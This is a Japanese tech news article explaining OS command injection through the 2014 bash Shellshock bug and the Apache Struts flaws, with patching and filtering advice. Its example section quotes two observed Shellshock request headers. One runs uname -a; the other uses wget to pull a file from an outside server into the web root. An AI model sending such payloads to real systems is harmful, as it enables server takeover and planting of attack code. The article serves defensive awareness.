Webアプリケーションによっては外部からOSコマンドを不正に実行される場合がある。OSコマンドを利用すれば、Webアプリケーションの動作権限で可能なあらゆる操作が実行できるため、図2に見るようにファイルの改ざんやウイルス感染、他のサイトへの攻撃、情報漏えいなどの被害が生じる。
最近の例では、「bash」の脆弱性の問題が典型的だ。bashは各種のLinuxやMac OS Xに標準搭載されるシェル(OSカーネルとコマンド入力とを仲介するスクリプト)の1つだ。これに「Shellshock」と呼ばれる、外部からリモートでOSコマンドが実行できる脆弱性があることが2014年9月に明らかになった。
多くのWebサーバで稼働するCGIスクリプトでは、ユーザーのWebブラウザからのユーザーエージェントなどの環境変数を利用するが、CGIスクリプトからbashを呼び出す場合、環境変数に不正にコマンドが仕込まれると、システムの乗っ取りや機密情報の閲覧などが可能になる。
また、管理用のSSHサーバの制限を回避してコマンドが実行される可能性もある他、ウイルスを感染させる攻撃も組み合わせられるなど、さまざまな攻撃に悪用されることが予想される。
ネットワーク機器でも脆弱性のあるbashを利用する場合には同じような危険がある。専門家によると悪用したバックドア設置例が散見されるといい、警察庁ではbashの脆弱性を標的とするアクセスを9月以降多数観測し、12月9日にもその増加について注意喚起を行った。NAS製品を標的とした攻撃が増加している。
手口の一例
警察庁が観測した不正なリクエストの例には次のようなものがある。
OS情報を取得するリクエスト
User-Agent:() { test;};echo "Content-type: text/plain"; echo; echo; /bin/uname -a
ファイルのダウンロード、保存リクエスト
Host: () { :; }; wget [省略]/conf.txt > /var/www/conf.php; [省略]
後者は、外部のサーバ上に存在するファイルをダウンロード(wget)し、Webサーバの公開ディレクトリに保存するというもの。同ファイルを確認すると外部からの指令により任意の対象にDoS攻撃を実行する。
対策
こうした攻撃に対策するにはbashにパッチを適用すればよいのだが、最初の発表以降何度も関連する脆弱性が発見される状況になっており、新バージョンへの更新か、他のシェルへの入れ替えが薦められる。それが難しい場合には、WAFやIDSによって脆弱性のあるサービスへの入力にフィルターをかける回避策を利用することになる。
自社開発アプリケーションでは、まずシェルを起動できる言語機能を利用しないようにすることが薦められる。代わりに、既存のライブラリで代替する方法、コマンドライン中に値を埋め込まない方法を検討したい。また、シェルを経由せずにコマンドを呼び出すようにすれば脆弱性は解消できる。
bash同様に深刻な問題となったのが、やはり2014年に公表されたApache Software FoundationのApache Strutsの脆弱性だ。これはJavaを用いてWebアプリケーションを構築するための、広く普及したフレームワークだ。Struts1とStruts2はまったく別のフレームワークではあるが、Struts2で見つかった脆弱性がStruts1にも影響することが分かった。
攻撃者がStruts2を利用したWebアプリケーションに細工したリクエストを送信すると、脆弱性により情報の窃取や特定ファイルの操作が可能になるとともに、アプリケーションを一時的に使用できなくすることもできる。
また、操作したファイルにJavaコードが含まれる場合には、任意のコードが実行される可能性があり、システムが乗っ取られることもあり得る。Struts1にも同様の脆弱性がある。
Struts2を利用する場合には、最新バージョンに更新することで脆弱性をカバーできるが、Struts1は既に開発とサポートが終了し、公式のパッチは提供されない。こちらは別のフレームワークへの移行が必要だ。それが難しい場合は、サードパーティーが独自に提供するパッチを利用する方法もある。
Copyright © ITmedia, Inc. All Rights Reserved.
製品カタログや技術資料、導入事例など、IT導入の課題解決に役立つ資料を簡単に入手できます。